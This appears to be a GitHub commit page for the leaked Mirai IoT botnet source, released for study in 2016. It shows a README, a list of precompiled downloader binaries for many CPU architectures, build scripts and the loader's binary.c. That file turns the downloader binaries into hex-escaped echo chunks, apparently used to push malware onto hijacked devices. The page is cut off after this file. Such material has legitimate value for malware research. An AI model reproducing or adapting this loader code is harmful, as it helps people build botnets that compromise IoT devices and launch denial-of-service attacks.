Skip to content

Commit

Permalink
Code Upload
Browse files Browse the repository at this point in the history
Code Upload
  • Loading branch information
jgamblin committed Oct 2, 2016
0 parents commit 6a5941b
Show file tree
Hide file tree
Showing 63 changed files with 10,956 additions and 0 deletions.
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Mirai Botnet Client, Echo Loader and CNC source code release

This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/).
Binary file added loader/bins/dlr.arm
Binary file not shown.
Binary file added loader/bins/dlr.arm7
Binary file not shown.
Binary file added loader/bins/dlr.m68k
Binary file not shown.
Binary file added loader/bins/dlr.mips
Binary file not shown.
Binary file added loader/bins/dlr.mpsl
Binary file not shown.
Binary file added loader/bins/dlr.ppc
Binary file not shown.
Binary file added loader/bins/dlr.sh4
Binary file not shown.
Binary file added loader/bins/dlr.spc
Binary file not shown.
Binary file added loader/bins/dlr.x86
Binary file not shown.
2 changes: 2 additions & 0 deletions loader/build.debug.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/bash
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg
2 changes: 2 additions & 0 deletions loader/build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/bash
gcc -static -O3 -lpthread -pthread src/*.c -o loader
83 changes: 83 additions & 0 deletions loader/src/binary.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <glob.h>
#include "headers/includes.h"
#include "headers/binary.h"

static int bin_list_len = 0;
static struct binary **bin_list = NULL;

BOOL binary_init(void)
{
glob_t pglob;
int i;

if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
{
printf("Failed to load from bins folder!\n");
return;
}

for (i = 0; i < pglob.gl_pathc; i++)
{
char file_name[256];
struct binary *bin;

bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
bin = bin_list[bin_list_len++];

#ifdef DEBUG
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
#endif
strcpy(file_name, pglob.gl_pathv[i]);
strtok(file_name, ".");
strcpy(bin->arch, strtok(NULL, "."));
load(bin, pglob.gl_pathv[i]);
}

globfree(&pglob);
return TRUE;
}

struct binary *binary_get_by_arch(char *arch)
{
int i;

for (i = 0; i < bin_list_len; i++)
{
if (strcmp(arch, bin_list[i]->arch) == 0)
return bin_list[i];
}

return NULL;
}

static BOOL load(struct binary *bin, char *fname)
{
FILE *file;
char rdbuf[BINARY_BYTES_PER_ECHOLINE];
int n;

if ((file = fopen(fname, "r")) == NULL)
{
printf("Failed to open %s for parsing\n", fname);
return FALSE;
}

while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
{
char *ptr;
int i;

bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
ptr = bin->hex_payloads[bin->hex_payloads_len++];

for (i = 0; i < n; i++)
ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
}

return FALSE;
}
Loading

0 comments on commit 6a5941b

Please sign in to comment.